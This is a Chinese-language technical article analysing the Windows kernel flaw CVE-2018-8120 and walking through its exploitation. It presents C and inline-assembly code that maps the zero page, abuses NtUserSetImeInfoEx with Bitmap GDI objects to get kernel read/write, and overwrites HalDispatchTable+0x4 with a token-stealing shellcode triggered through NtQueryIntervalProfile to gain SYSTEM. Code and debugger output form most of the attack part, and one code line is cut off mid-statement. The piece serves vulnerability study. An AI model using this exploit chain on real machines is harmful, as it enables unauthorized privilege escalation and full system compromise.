【技術分享】Windows內核提權漏洞CVE-2018-8120分析 - 下
Bitmap GDI技術
BitmapGDI技術,是指通過Bitmap對象信息泄露漏洞,衍生出的一種內核內存污染技術,據了解,Bitmap對象信息漏洞最早由國外安全研究員 Cesar Cerrudo 于2004年報告至微軟,而真正公布的時間是在2006年的11月,至到2015年經安全研究人員于社區分享發布,因可以用作將內核任意寫漏洞轉換為內核任意讀寫漏洞而漸入眼簾。
(一)原理
用戶態程序使用CreateBitmap函數創建得到的Bitmap對象的成員結構中,有存在于內核空間中的成員指針變量pvScan0,而該指針變量可以在用戶態下,通過調用GetBitmaps以及SetBitmaps方法,對pvScan0指向的內存地址進行讀取和寫入。
因此,如果通過內核寫漏洞修改指針變量pvScan0,我們就可以在用戶態下通過Set\GetBitmaps方法,對內核空間進行讀取和寫入,最終將內核任意寫漏洞,轉化為內核任意讀寫漏洞。
(二)指針變量pvScan0在哪?
當程序調用了CreateBitmap方法后,程序的進程環境控制塊(PEB)中的GdiSharedHandleTable表便增加了一個索引,該索引對象的結構為:
typedef struct _GDICELL{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;
該對象的pKernelAddress泄露了Bitmap對象的內核地址,繼續來看pKernelAddress指向的數據結構:
typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18}
typedef struct _BASEOBJECT { HANDLE hHmgr; 0x04 PVOID pEntry; 0x08 LONG cExclusiveLock; 0x0d PW32THREAD Tid;0x10} BASEOBJECT, *POBJ;
typedef struct _SURFOBJ { DHSURF dhsurf; 0x04 HSURF hsurf; 0x08 DHPDEV dhpdev; 0x09 HDEV hdev; 0x0a SIZEL sizlBitmap; 0x0e ULONG cjBits; 0x12 PVOID pvBits; 0x16 PVOID pvScan0; 0x20 LONG lDelta; 0x24 ULONG iUniq; 0x28 ULONG iBitmapFormat; 0x2c USHORT iType; 0x2e USHORT fjBitmap; 0x30} SURFOBJ
于是,我們可以了解到,在32位系統下,通過GDICELL->pKernelAddress + 0x30(在64位系統下是0x50,具體計算成員變量指針所占字節),即可得到指向pvScan0指針的偏移量。
(三)如何利用漏洞來更改pvScan0指針?
首先,創建2個Bitmap對象,姑且稱其分別為Work、Manager。第一張圖,是未修改前的初始狀態。

下圖,是使用內核任意寫漏洞,將Manager的pvScan0指針改寫過后的狀態,邏輯可能需要反復理解。
將WorkPvScan0在pKernelAddress中的偏移量寫入到Manager的PvScan0,至此Manager的PvScan0指針更改為指向WorkPvScan0的指針。通過對ManagerBitmap對象做SetBitmaps操作,可以設置Work的PvScan0指針的值,進而指向任意地址。
隨后再通過對WokerBitmap對象做Set\GetBitmaps操作,完成內核讀寫。


利用NtUserSetImeInfoEx漏洞
(一)回顧漏洞代碼邏輯
再次回顧,導致任意寫漏洞的代碼邏輯路徑。

GetProcessWindowStation得到tagWindowStation對象,其結構為:
kd> dt tagwindowstationwin32k!tagWINDOWSTATION +0x000 dwSessionId : Uint4B +0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION +0x008 rpdeskList : Ptr32 tagDESKTOP +0x00c pTerm : Ptr32 tagTERMINAL +0x010 dwWSF_Flags : Uint4B +0x014 spklList : Ptr32 tagKL +0x018 ptiClipLock : Ptr32 tagTHREADINFO +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO +0x020 spwndClipOpen : Ptr32 tagWND +0x024 spwndClipViewer : Ptr32 tagWND +0x028 spwndClipOwner : Ptr32 tagWND +0x02c pClipBase : Ptr32 tagCLIP +0x030 cNumClipFormats : Uint4B +0x034 iClipSerialNumber : Uint4B +0x038 iClipSequenceNumber : Uint4B +0x03c spwndClipboardListener : Ptr32 tagWND +0x040 pGlobalAtomTable : Ptr32 Void +0x044 luidEndSession : _LUID +0x04c luidUser : _LUID +0x054 psidUser : Ptr32 Void

因此,a1為tagWindowStation對象,V3為tagWindowStation->spklList,spklList對象的結構為:
kd> dt win32k!tagKL +0x000 head : _HEAD +0x008 pklNext : Ptr32 tagKL +0x00c pklPrev : Ptr32 tagKL +0x010 dwKL_Flags : Uint4B +0x014 hkl : Ptr32 HKL__ +0x018 spkf : Ptr32 tagKBDFILE +0x01c spkfPrimary : Ptr32 tagKBDFILE +0x020 dwFontSigs : Uint4B +0x024 iBaseCharset : Uint4B +0x028 CodePage : Uint2B +0x02a wchDiacritic : Wchar +0x02c piiex : Ptr32 tagIMEINFOEX +0x030 uNumTbl : Uint4B +0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE +0x038 dwLastKbdType : Uint4B +0x03c dwLastKbdSubType : Uint4B +0x040 dwKLID : Uint4B
v3[5]為tagWindowStation->spklList->hkl,最后v3[11]為tagWindowStation->spklList->piiex。代碼邏輯可以轉化為:
v3 = tagWindowStation->spklList;while ( spklList->hkl != a2[0]){....}v4 = spklList->piiex;if( !v4[18]){qmemcpy(v4,a2,348u);}
(二)布局零頁構造入參
假設我們傳入NtUserSetImeInfoEx的參數名稱為buf,那么我們需令tagwindowstation->spklList->hkl等于 buf[0],令tagwindowstation->spklList->piiex不為空,令tagwindowstation->spklList->piiex->fLoadFlag不為空,就可以將buf中的數據拷貝到v4指向的地址中,此處v4為tagwindowstation->spklList->piiex。由于tagwindowstation->spklList默認為NULL,等同于從0x00000000(零地址)讀起,那么我們首先創建零頁。
//創建零頁// 定義NtAllocateVirtualMemory函數結構typedef NTSTATUS(WINAPI* MyNtAllocate)(IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);
void allocateZero(){PVOID baseAddr = (PVOID)0x100; //以0x100作為起始地址DWORD size = 0x1000; // 分配頁面大小為4KBMyNtAllocate fun;*(FARPROC*)&fun = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");if (fun == NULL){printf("[-] fail to GetAddress");exit(-1);}fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配內存空間printf("success to allocate Zero Page!");}
分別創建Work、Manager的bitmap對象,并計算得到偏移量,為了更改Manager的pvScan0為Worker的pvScan0偏移量,就要使v4為Manager的pvScan偏移量,a2[0]為Wokerpvscan0對象偏移量,于是,要在零頁構造要被讀取的數據(留意這里pvScan0跟pvScan0的偏移量不一樣,pvScan0的偏移量保存的是pvScan0指針的地址,而pvScan0指針,保存的是另一數據的地址)
unsigned int bbuf[0x60] = { 0x90 };HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
DWORD getpeb(){//讀取fs寄存器偏移量0x30,即為PEBDWORD p = (DWORD)__readfsdword(0x30);return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;PVOID getpvscan0(HANDLE h){if (!gtable)gtable = getgdi();// Bitmap句柄的末尾四字節為GDICELL在GdiShareHandleTable中的索引,通過LOWROD來取DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;GDICELL* c = (GDICELL*)p;return (char*)c->pKernelAddress + 0x30;}
//得到偏移量PVOID managerpv= getpvscan0(gManger);PVOID workpv = getpvscan0(gWorker);
//使tagwindowstation->spklList->hkl(內存偏移為0x00000014) = workpvscan0偏移量*(DWORD*)(0x14) = (DWORD)(workpv);//使tagwindowstation->spklList->piiex(內存偏移為0x0000002c)= managerpvscan0偏移量*(DWORD*)(0x2C) = (DWORD)(managerpv);
// 由于拷貝384字節,設置buf為大于384字節即可,并將buf每個字節設置0,避免讀取空//為跳過While循環,我們令DWORD Buf[0] = workpvscan0偏移量,由于類型為DWORD,因此每次讀取4字節。
char buf[0x200];RtlSecureZeroMemory(&buf, 0x200);
PVOID *p = (PVOID*)&buf;p[0] = (PVOID)wo
由于我們直接覆蓋pvscan0后的數據,因此要對pvscan0后的其余成員變量進行填充修復,避免影響Get\SetBitmaps函數的使用,正常情況下,成員變量的值為下圖中紅框處,我們填充進buf當中。

p[0] 為WorkBitmap的pvscan0偏移,圖中為83f7f3fc
p[1] = 0x180;p[2] = 0x2110;p[3] = 6;p[4] = 0x10000;// p[5] = 0x00000000,因為先前buf已經分配0,因此不用賦值p[6] = 0x4800200; //調用存在漏洞的NtUserSetImeInfoExHWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);SetProcessWindowStation(hStation);NtUserSetImeInfoEx((PVOID)&buf)
此時,再進行調試,就可以發現,ManagerPvscan0已經指向了“WorkPvscan0的偏移量”了,Windbg調試命令如下:
kd> !process 0 0 project3.exePROCESS 866c0858 SessionId: 1 Cid: 0eb0 Peb: 7ffdc000 ParentCid: 0c08 DirBase: 3f3373c0 ObjectTable: 88257c78 HandleCount: 19.Image: Project3.exe kd> .process /r /p 866c0858 dt _peb @$peb+0x094 GdiSharedHandleTable : 0x00480000 Void kd> dd 0x00480000 + (0x89050cd3 & 0xffff) * 0x100048cd30 fe674608 00000eb0 40058905 00000000 kd> dd fe674608 + 0x30fe674638 fdfe0ad0 00000180 00002111 00000

至此,通過對ManagerBitmap句柄做SetBitmaps操作,即可更改WorkPvscan0指針的值,可指向內核任意地址。
(三)替換系統函數執行ShellCode實現提權原理
這里的ShellCode采用替換進程的令牌Toekn的方法,將當前用戶態進程的令牌Token替換為高權限進程的Token,進而實現權限提升。
__declspec(naked) VOID ShellCode(){_asm{pushadmov eax, fs: [124h] // Find the _KTHREAD structure of the current threadmov eax, [eax + 0x50] // find the _EPROCESS structuremov ecx, eaxmov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of systemfind_sys_pid :mov eax, [eax + 0xb8] // Find the linked list of process activitiessub eax, 0xb8 // Linked list traversalcmp[eax + 0xb4], edx // Determine whether it is SYSTEM according to PIDjnz find_sys_pid
// Replace Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopadxor eax, eaxret
}}
單純在用戶態定義shellcode函數并進行調用,是無法獲取高權限的進程令牌Token的,因此需要在內核態中,對shellcode函數進行調用,方可實現令牌Token替換的目的。
由于,我們具備了在內核態中的讀寫能力,我們可以找到在用戶態中可以調用的,并且會產生模式切換的系統API函數,通過內核寫,將該函數的入口地址修改為shellcode函數的入口地址,當我們在用戶態調用該函數時,會進行模式切換,切換為內核模式并以內核權限調用我們的shellcode函數,進而實現提權。
我們可以在SSDT(SystemService Dispatch Table)、HalDispatchTable 兩個表中去尋找可調用的內核API函數。在選用內核 API 函數的時候,要盡可能選擇較少調用的函數,避免在修改了函數地址同時時,有其他進程進行調用,導致內存訪問出錯或程序崩潰。參考鏈接:https://blog.csdn.net/qq_43312649/article/details/105295017
這里選用的內核API函數為NtQueryIntervalProfile,NtQueryIntervalProfile函數是在ntdll.dll中導出的未公開的系統調用,可以直接在用戶態下進行調用,因此我們可以通過Bitmap GDI技術,對該函數的入口地址進行替換與恢復。NtQueryIntervalProfile()是Ntdll.dll中導出的未公開的系統調用,它會調用由內核可執行程序ntosknl.exe導出的KeQueryIntervalProfile函數。

而KeQueryIntervalProfile函數又會進一步調用HalDispatchTable表加0x4偏移量的函數地址

因此,我們可以將ShellCode的入口地址,通過內核寫漏洞,寫入到HalDispatchTable + 0x4中,當我們調用NtQueryIntervalProfile并產生模式切換的時候,就會在內核態中調用我們的ShellCode函數,進而完成提權。
(四)尋找HalDispatchTable地址
對于Windows系統的內核態而言,可劃分為以下:
(1)硬件抽象層(HardwareAbstraction Layer -> Hal)
(2)內核(Kernel)
(3)運行體(Executive)
(4)窗體圖形子系統(WindowsGraphicsSubsystem)
而HalDispatch正是與硬件抽象層有關,因此我們需從系統加載的內核程序中進行導出,此處以加載內核程序ntkrnlpa.exe為例,通過EnumDeviceDrivers函數,獲取在內核空間中ntkrnlpa.exe運行時的基址。
#includeLPVOID NtkrnlpaBase(){ LPVOID lpImageBase[1024]; DWORD lpcbNeeded; CHAR lpfileName[1024]; //Retrieves the load address for each device driver in the system EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++) { //Retrieves the base name of the specified device driver GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if (!strcmp(lpfileName, "ntkrnlpa.exe")) { printf("[+]success to get %s", lpfileName); return lpImageBase[i]; } } return NULL;}
然后在用戶態,加載ntkrnlpa.exe程序,并搜索HalDispatchTable表的導出地址,并用用戶態中的HalDispatchTable導出地址減去用戶態中加載ntkrnlpa.exe的模塊基址,就可以獲得HalDispatchTable表相對于模塊基址的偏移量,最后由內核空間中ntkrnlpa.exe基址加上偏移量,得到HalDispatchTable在內核中的地址,并加上0x4偏移量進行返回。
DWORD32 GetHalOffset_4(){ // 獲取ntkrnlpa.exe運行時基址 PVOID pNtkrnlpaBase = NtkrnlpaBase(); printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase);
// 獲取用戶態加載ntkrnlpa.exe的地址 HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 獲取用戶態中HalDispatchTable的地址 PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
// 由ntkrnlpa.exe運行時基址加上HalDispatchTable偏移量,得到HalDispatchTable在內核空間中的地址,加上0x4偏移量 DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4; printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4); return (DWORD32)hal_4;}
(五)觸發ShellCode
// 定義函數原型typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)( IN ULONG ProfileSource, OUT PULONG Interval);PVOID pOrg = 0; DWORD haladdr = GetHalOffset_4(); PVOID oaddr = (PVOID)haladdr; PVOID sc = &ShellCode;
//替換NtQueryIntervalProfile的地址為shellcode的地址SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //Use manager to set the modifiable address of worker as hal function printf("[+]The target address to be overwritten 0x%x", oaddr); GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//Get the address that can be modified SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//Set the address to shellcode printf("[+] Overwriting is complete, ready to execute Shellcode");
// 調用NtQueryIntervalProfile,觸發shellcode函數 NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryIntervalProfile"); printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile); DWORD interVal = 0; NtQueryIntervalProfile(0x1337, &interVal); //恢復NtQueryIntervalProfile函數地址SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);system("cmd");
踩坑
(一)編譯時,留意Visual Studio的MFC以及字符集設置,如果采用靜態,則調用函數時,要留意末端是W(Unicode字符集)還是A(多字節字符集),所選用的函數必須與字符集相匹配,否則會出現正常編譯運行,但沒有效果的問題。
(二)計算偏移時,要留意內存對齊問題
參考鏈接
(一)https://www.freebuf.com/vuls/180227.html
(二)https://docs.microsoft.com/en-us/previous-versions/bb665982(v=msdn.10)
(三)http://t.zoukankan.com/exclm-p-4107662.html
(四)https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf
(五)https://www.programmersought.com/article/84165899589/